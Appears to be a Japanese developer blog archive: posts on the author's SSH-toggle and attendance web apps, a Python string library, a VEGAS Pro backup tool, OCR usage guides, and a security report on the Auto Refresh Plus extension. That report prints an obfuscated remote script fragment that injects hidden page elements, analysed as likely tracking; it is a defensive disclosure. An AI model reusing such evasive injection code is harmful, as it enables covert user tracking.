ブラウザ上からホストのSSHサービスを起動・停止できるウェブアプリを作りました!

はじめに

前回の記事で紹介したマイマネージャーと並行して開発してきたウェブアプリを今日リリースしたので、今回はそのリリースしたものについて紹介したいと思います。

↓作ったもの

アプリの説明 in GitHub

リモート接続マネージャー

より安全、より便利にリモートホストSSHで接続するためのウェブアプリ。

このアプリが生まれた理由

世の中のほとんどのサーバーは常時SSH接続が有効になっていますが、ほとんどのサーバーはインターネットに繋がっているのでサイバー攻撃の標的になっています。

世の中のプログラムが全て完璧だとしたらずっと通信を待ち受けしておくのもいいとは思うのですが、実際には脆弱性がいくつも潜んでいたりするのでそれはあまり得策ではないわけです(ポート番号を22から変更すれば多少はリスクを減らすことはできますが、ポートスキャンなんてやられたら結局同じです)。

そこで、必要な時だけSSH接続を有効にして、いつもは無効にしておくためのツールを作ろうと思いました。

そうして生まれたのが「リモート接続マネージャー」です。

機能の説明

コントロールパネル

上のスクリーンショットで大体分かるとは思いますが、このアプリには大きく分けて次の4つの機能があります。

リモートホストのシステムステータスを確認する

リモートホストSSHサービスのステータス・設定を確認する

リモートホストSSHサービスを起動・停止させる

・指定した期間だけリモートホストSSHサービスを実行する

「ホストの電源」なんかはサイトが見れている以上オン以外あり得ないわけであまり役に立ちませんが、それ以外のステータス表示機能やアクション機能などは普通に便利だと思います。

いくつか機能がありますが、このアプリ最大の売りは「指定した期間だけリモートホストSSHサービスを実行する」という機能です。

スケジュール登録ダイアログ

この機能は特別意識しなくてもシステムが勝手に後始末をしておいてくれるという超便利機能です。

「無効にするの忘れてた...」

なんてことになるのを防いでくれます。

また、このアプリはUIにも少しだけこだわっています。開発当初は各機能ごとに専用のページに移動するような仕様だったのですが、途中から一つの画面で全ての機能にアクセスできた方が使いやすいのではないかと思い、変更しました。

フォームなどをどうやって一つのページに収めたらいいかと悩みましたが、使用しているフロントエンドフレームワークにモーダルという自由度の高いコンポーネントがあったので、結構簡単に作ることができました。しかもデザインもかなりいい感じになりました。

使い方

プロジェクトページで詳しく説明しているので、そちらをご覧ください(日本語です)。

※プログラムの使用には適用される全てのライセンス(MIT Licenseなど)への同意が必要です。

リンク

リモート接続マネージャー:https://github.com/bigbamboo-jp/remote-connection-manager-ja

心の状態を自動で判定してくれる打刻ウェブアプリを作りました!

はじめに

3ヶ月前ぐらいから作ってきたものをようやく数日前にリリースすることができたので、今回はそのリリースしたものについて紹介したいと思います。

今まではどちらかというとユーザーのPCで動かすためのアプリケーションを中心に作って来たわけですが、今回のはブラウザからアクセスして利用するウェブアプリです!

↓作ったもの

詳しい説明

アプリケーション名

リポジトリ名にもある通り、作ったウェブアプリの名前は「マイマネージャー」です。この名前には「私(のための)マネージャー」という意味を込めています。

機能

一般的な勤怠管理システムにあるような機能(打刻、自分の出席記録の確認、CSVファイルへの記録のエクスポート)に加え、以下の機能を搭載しています。

Airtableとの連携

ノーコードで視覚的・直感的にデータベースを扱うことができるウェブサービス「Airtable」との連携に対応しています。従来の行と列だけの殺風景非生産的なデータ分析とはおさらばしましょう!

あのNetflixも社内で使っているというAirtableの詳細はこちらステマではないです)。

打刻の際にメンタルの状態を自動で判定

システムにあらかじめ質問と選択肢を登録しておくと、打刻の際にシステムが自動でユーザーのメンタルコンディションを判定します(選んだ選択肢の内容と回答までにかかった時間を基に計算します*1)。判定結果はメンタルスコアとして数値化され、ユーザー及び管理者はいつでも記録を確認することができます。*2

*1 回答時間は過去にその同じ質問に回答したユーザーが要した時間に基づいてスコア化されます。回答時間が上位25%に含まれる場合は2、上位26%~75%に含まれる場合は1、それらに含まれない場合は0に変換されます(この基準は四分位数の形式でカスタマイズすることができます)。

*2 メンタルスコアの計算に使用される選択式質問の回答データは記録されません(プライバシー保護のため)。

出席データとメンタルデータを基にユーザーごとのレポートを提供

システムに記録された出席データとメンタルデータを基にユーザーに自分だけのレポート(マイレポート)を提供します。マイレポートには各データを総合してのメンタルコンディションの評価、先週の各曜日毎の作業時間及びメンタルスコア、組織全体及び所属するグループ内でのメンタル偏差値が記載されています。また、このレポートは毎日更新されます。

レポートで日々の生活状況をデータとして確認することで、過労によって無意識のうちに精神を壊してしまうようなことを防止できます。

PC用拡張機能と連携して打刻忘れを防止

このウェブアプリにはWeb APIの機能も含まれています。

そして、そのAPIを利用したマイマネージャー用拡張機能を開発しました!名前は「My Manager Extension」です(そのままですね...)。

機能としてはウェブアプリの各機能へのショートカット、打刻を忘れている場合のリマインダー、一定時間が経過した際の休憩リマインダーなどがあります。

ちなみにWindows専用です。

使い方

①使用するアプリケーションに適用される全てのライセンス(MIT Licenseなど)を確認する

↓同意する場合

②使用するアプリケーションのREADMEファイルに書いてある通りにセットアップをする

※今回はREADMEファイルを日本語で書いたので、詳細は省略します。

余談

今回のアプリ開発は、テレビを見ていた時に仕事で精神を壊してしまった人の映像と勤怠管理システムのCMがあまり間を空けずに流れたことで、とっさにひらめいたことがきっかけでした。

なのでこれらのアプリは自分や所属する組織がメンタルヘルスについての取り組みを行っていない人にこそ使ってほしいわけですが、実際にはそういう人ほどアプリを使って記録を残すなんてことには消極的だったりするわけです(目の前の作業に追われているため)。

そういう人に積極的に使ってもらうにはどうすればいいのでしょうか...

リンク

マイマネージャー:https://github.com/bigbamboo-jp/my-manager-ja

My Manager Extension:https://github.com/bigbamboo-jp/my-manager-extension-ja

【セキュリティレポート】Auto Refresh Plusの不審な挙動について

最近ウェブアプリの開発をしていると、開発中のページに見知らぬサードパーティCookieが付けられているのに気づきました。
詳しく調べるとそのCookieがブラウザ拡張機能Auto Refresh Plusによって発行されたものであることが分かったのですが、その動作がとても怪しいものであるため、利用者数がとても多い(40万人以上)ことを踏まえて今回この記事を書くことにしました。
結論から言うと、自分はこの拡張機能の使用を中止すべきだと思います。
※ブラウザ内に存在する限りプログラムが動き続けるので、アンインストールを行ってください。

何がやばいのか

怪しいところを探せばキリがないですが、特に以下の点は本当にやばいと思います。

無意味で怪しい通信
example.comにアクセスした際に設定されたCookie(通常は何も設定されない)

この拡張機能はユーザーが何かしらのサイトを閲覧する度に"3001.scriptcdn.net"というサイトと通信するようです。
名前的にJavaScriptファイル等を外部のCDNコンテンツ配信ネットワーク)に配置して、必要な時にそこからダウンロードして使うためのサイトと考えられるのですが、驚くべきことにこのサイトはこの拡張機能以外では使われていません。
というのも、scriptcdn.netというドメインGoogle検索しても技術系のドキュメントが一つも出てこないのです。
また、通信してダウンロードしているスクリプトファイルも拡張機能の動作に必要不可欠なものかどうか怪しいです。
というのも、ダウンロードしたスクリプトの一部は以下のようになっています。
ファイルのURL(引用元):https://3001.scriptcdn.net/code/static/1

_0x32b3['fbQbAp'] = function(_0x38a00c) {
    var _0x37db2d = _0x31b03b(_0x38a00c);
    var _0x4cf70a = [];
    for (var _0x3c7b92 = 0x3a4 + 0x18a * -0x1 + -0x21a, _0x18c768 = _0x37db2d['length']; _0x3c7b92 < _0x18c768; _0x3c7b92++) {
        _0x4cf70a += '%' + ('00' + _0x37db2d['charCodeAt'](_0x3c7b92)['toString'](0x18f3 + 0x12e0 + 0x11 * -0x293))['slice'](-(0x24d9 + -0x1bca * 0x1 + 0x14b * -0x7));
    }
    return decodeURIComponent(_0x4cf70a);
}
case '2':
    var _0x3ea808 = document['createElem' + 'ent'](_0x42e59b[_0x4c9219(-0x389, -0x2f9, -0x2fa, -0x26e)]);
    continue;
case '3':
    Element[_0x3f3a92(-0x3ae, -0x2d5, -0x195, -0x407)][_0x4c9219(-0x527, -0x539, -0x469, -0x68c) + 'd'] = _0x481455['contentWin' + _0x4c9219(-0x334, -0x486, -0x44b, -0x34e)][_0x4c9219(-0x364, -0x36b, -0x254, -0x498)]['prototype'][_0x4c9219(-0x416, -0x539, -0x527, -0x3fc) + 'd'];
    continue;
case '4':
    _0x481455[_0x4c9219(-0x478, -0x409, -0x337, -0x2e1)]['display'] = _0x42e59b['KUtJZ'];
    continue;
case '5':
    _0x481455['src'] = _0x42e59b[_0x3f3a92(-0x493, -0x4bc, -0x5ed, -0x578)];
    continue;
case '6':
    document['body']['appendChil' + 'd'](_0x481455);
    continue;

ぱっと見ですが、このファイルは実行するプログラムそのものではなく、実行するプログラムを書き出すためのプログラムのように見えます。
しかも" 'createElement' "をわざわざ" 'createElem' + 'ent' "と表記している辺り、セキュリティソフト等による検出を避けようとしているようにも見えます。
おまけにこのファイルにはアダルトサイトのドメインリストも含まれています。
これらは拡張機能の本来の目的に沿わないものであり、明らかに不自然です。
更に言ってしまえば、このサイトと通信する際に発行されるCookie(前述したもの)にはユーザーの特定に繋がりうるトークンが2つ保存されています。
ユーザーが何かしらのサイトにアクセスする度に通信していることも含めて考えると、このトークンはユーザーの追跡に使われていると考えていいと思います。
※一般的に拡張機能の動作に必要なスクリプトはインストールファイルの中に含めるので、ページ移動の度に一々ダウンロードしてくるのは不自然です。
仮に全く如何わしいことをしていなかったとしても、ページ閲覧の度に一々ダウンロードしていたらサイトの読み込みが遅くなるのでいいことはありません(自分が使っている他の拡張機能はこのような動作はしません)。
ちなみにプライバシーポリシーには「ウェブサイトやウェブサイトの利用状況などを追跡することはありません。」と書かれています。

提供者の情報が全く提供されていない

この拡張機能を提供している組織(または個人)の情報は徹底的に伏せられています。
例えばchromeウェブストアのデベロッパー情報のリンクは拡張機能の製品サイト(autorefresh.io)に繋がるだけですし、サポート窓口も製品サイト内の問い合わせフォームのみです。
プライバシーポリシー内には個人情報に関する問い合わせ用のメールアドレスがありますが、そのアドレスのドメインはautorefresh.ioであるため、具体的に誰がその問い合わせを処理するのかは分かりません。もし送ったメールに返信がない場合でも、会社名(または氏名)も電話番号も住所も分からないためどうしようもありません。
もちろんドメイン名もIPアドレスもCloudflareを使ってしっかり隠しています。

そもそも自分達で作ってない

この拡張機能のレビュー欄にこんな投稿がされていました。

あるユーザーはこの拡張機能は"盗まれたもの"であると主張。

この投稿の真偽について調査したところ、確かにこの拡張機能が出る前に同名で同じ機能を持つ拡張機能が公開されていたことが確認できました。
ソース:
https://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q13165534913
ただし上の投稿に書かれている「盗まれたもの」ということに関しては既にオリジナル版の拡張機能が公開終了していることもあり、検証できませんでした。
しかしながら、現在公開されている拡張機能を提供している組織(または個人)は拡張機能の開発をしていないこと・何かしらの理由で既に公開されていた拡張機能を自分達で再度リリースしたことは事実です。
無料で全ての機能が利用でき、収益が一切発生しないようなものをわざわざ再度リリースしたのには、何か特別な事情があったと考えざるを得ません。
オリジナル版のURL:
https://chrome.google.com/webstore/detail/auto-refresh-plus/ohfjpkccecpdfkpmfocndhepolhljfhg
現在公開されている拡張機能のURL:
https://chrome.google.com/webstore/detail/auto-refresh-plus-page-mo/hgeljhfekpckiiplhkigfehkdpldcggm

取るべき対応

この拡張機能を使っている人はすぐにでもアンインストールすることをおすすめします。
それができない場合はせめて「シークレットモードでの実行を許可する」をオフにしてください。
また、技術者の方は拡張機能の動作の検証にご協力ください。
一度動作を検証して頂き、この記事に書いたのと同様の挙動が見られた場合はストアへの報告をお願いします。
※自分はChrome ウェブストアとMicrosoft Edge アドオンストアに報告しておきました。

注意事項

・この記事には独自研究が含まれています。記事内の情報は自身の責任で利用してください。
・この記事の内容はあくまでも調査に基づく推測であり、絶対にそうであると言いきっているわけではありません。また、この記事に第三者の名誉を傷つけたり誹謗中傷する意図はありません。また、不利益を与える意図もありません。

最後に

色々と説明していたら長い記事になってしまいました。
最後までお読み頂きありがとうございました。

【Python】かっこの中の文字を抜き出したり、かっこの中を除いて文字列操作をする

最近Pythonでプログラムを組んでいる時に括弧の中を除いて文字列操作をするためのライブラリがなく苦労したので、そのために書いたコードをライブラリにまとめて公開することにしました。
需要があるか微妙なライブラリなので、PyPIでの公開は保留にしています。

公開サイト

プロジェクト名:Splitable str
モジュール名:sstr
github.com

使い方

例1:文章の中でカギ括弧で囲まれている単語を抜き出す

from sstr import sstr

text = 'これは「りんご」ですか?いいえ、「オレンジ」です。なら「ぶどう」をください。'
text_ = sstr(text)
surrounded_words = []
for part in text_.divide_and_classify(enclosure=[['「', '」']]):
    if part[1] == True:
        word = part[0]
        surrounded_words.append(word[1:-1])
print(surrounded_words)  # ['りんご', 'オレンジ', 'ぶどう']

例2:文章の中の「日」の数を数える(ダブルクォーテーションマークで囲まれている部分は検索対象から外す)

from sstr import sstr

text = '信頼できる人が"今日は晴れ"だと言っていたが、天気予報は今日・明日は雨だと言っている。'
text_ = sstr(text)
quantity = text_.scount('日', enclosure='"')
print(quantity)  # 2

その他の使用例はREADMEで確認できます。

VEGAS Proのプリセットなどを他のPCにコピーする

前置き

最近メインPCを変えました。

新しく使い始めるPCに自分がいつも使うソフトをインストールしていくのですが、中には設定の移行が必要なものもあります。

ChromeやらMicrosoft Officeなんかはアカウントと紐付いてるので自動でやってくれたりするのですが、そうでないソフトは自分で設定のエクスポート・インポートをしなければいけません。

そんな作業を眠気と闘いながらのんびりやっていると、動画編集ソフトのVEGAS Proの設定を移行するのが一筋縄ではいかないことに気づきました。

普通、動画編集ソフトなどのクリエイター向けソフトは設定の移行をするためのメニューがあったりするのですが、VEGAS Proだけはそういうのが見当たりませんでした。

仕方なくGoogle先生に聞きに行くと、「Preset Manager 2.0」というのをダウンロードするように言われました。

とはいっても、そのソフトは既に公式からの配布が終了しており、非公式のアーカイブサイトからダウンロードせざる得ない状況でした。

その時はもうクタクタだったので、ウイルスチェックだけしてそのインストーラーからソフトをインストールしました。

※良い子は怪しいサイトからプログラムをダウンロードしないように。

そしてそのソフトを使用してデータ移行をしたのですが、移行された設定はイベントFXのフィルタ パッケージだけでした。

ただそれ以外に使えそうなツールもないので、仕方がなく1時間ぐらいかけて手動で設定を移行しました。

一応今回はそれで移行が完了したのですが、数年後また同じことで苦労するのも嫌なので、設定を移行するのに必要な作業をプログラムにまとめておくことにしました。

本題

というわけで、今回はVEGAS Pro Configuration Backup Toolsをご紹介します。

このフリーソフトを使うとVEGAS Proのエフェクト設定などをバックアップ・復元できます。

バックアップ対象は「各イベントFXのフィルタ パッケージ」、「メディアジェネレータのプリセット」、「レンダリング テンプレート」です。

使い方

※プログラムを使用するにはライセンス(MIT License)への同意が必要です。

1. 最新のプログラムが入ったZIPファイルをダウンロードする

こちらのページに載っている最新のリリースの「Source code (zip)」をダウンロードしてください。

2. ZIPファイルを展開する

ダウンロードしたZIPファイルを右クリックして、「すべて展開」をクリックすると展開ウィザードが表示されます。

3. 展開したフォルダの中から自分がバックアップしたい項目のフォルダを見つける

[参考]

各イベントFXのフィルタ パッケージ → Event FX

メディアジェネレータのプリセット → OFX Presets

レンダリング テンプレート → Render Templates

4. バックアップしたい項目のフォルダ内にある「save.bat」を実行する(移行元で操作)

5. バックアップファイルを実行する(移行先で操作)

USBメモリなどでバックアップファイルを移行先にコピーする必要があります。

注意点

1. 全ての設定が移行されるわけではありません(例えばイベント パン/クロップのプリセットは移行されません)。

2. このプログラムは自己責任で使用してください。

Cloud OCR Snipで画像ファイルから文字を読み取る方法

このページではフリーソフト「Cloud OCR Snip」で画像ファイルから文字認識する方法について説明しています。

このソフトの概要についてはこちらを、インストール・初期設定方法についてはこちらをご覧ください。

また、画面上の文字を読み取る方法についてはこちらをご覧ください。

画像ファイルから文字認識する

1. タスクトレイのアイコンを右クリックする

2. 「画像ファイルから読み取る」を左クリックする

f:id:bigbamboo-jp:20211226042749p:plain

3. 文字認識する画像を選ぶ

f:id:bigbamboo-jp:20211226044754p:plain

4. 文字認識完了

f:id:bigbamboo-jp:20211226035605p:plain

クリップボード上にある画像から文字認識する

文字認識の結果と読み取った画像の両方が必要な場合は、先に切り取り & スケッチでスクリーンショットを撮影してから(ショートカットキー:Windowsキー・Shiftキー・Sキー同時押し)、その画像をCloud OCR Snipで読み込みます。

※切り取り & スケッチでショートカットキーを使用してスクリーンショットを撮影すると、自動でクリップボードにコピーされます。また、撮影完了時に表示される通知をクリックすると、スクリーンショットをファイルに保存することができます。

タスクトレイのアイコンから始める場合

1. タスクトレイのアイコンを右クリックする

2. 「クリップボードの画像から読み取る」を左クリックする

クリップボード上に読み込める画像データがない場合はクリックできません。

f:id:bigbamboo-jp:20211226050311p:plain

ショートカットキーから始める場合

1 & 2. ショートカットキーを押す

※デフォルトのショートカットキー:Windowsキー・Shiftキー・Dキー同時押し

クリップボード上に読み込める画像データがない場合は何も起きません。

共通の手順

3. 文字認識完了

f:id:bigbamboo-jp:20211226035605p:plain

※画面上の文字を読み取る方法についてはこちらをご覧ください。

Cloud OCR SnipでPCの画面から文字を読み取る方法

このページではフリーソフト「Cloud OCR Snip」で画面上の文字を読み取る方法について説明しています。

このソフトの概要についてはこちらを、インストール・初期設定方法についてはこちらをご覧ください。

また、画像ファイルから文字認識する方法についてはこちらをご覧ください。

タスクトレイのアイコンから始める場合

1. タスクトレイのアイコンを左クリックする

f:id:bigbamboo-jp:20211226034116p:plain

ショートカットキーから始める場合

1. ショートカットキーを押す

※デフォルトのショートカットキー:Altキー・Shiftキー・Sキー同時押し

共通の手順

2. 文字認識させたい範囲で左クリックしながらドラッグする

エスケープキーで文字認識をキャンセルできます。

3. 範囲が決まったら左クリックをやめる

f:id:bigbamboo-jp:20211226034720p:plain

4. 文字認識完了

f:id:bigbamboo-jp:20211226035605p:plain

※画像ファイルから文字認識する方法についてはこちらをご覧ください。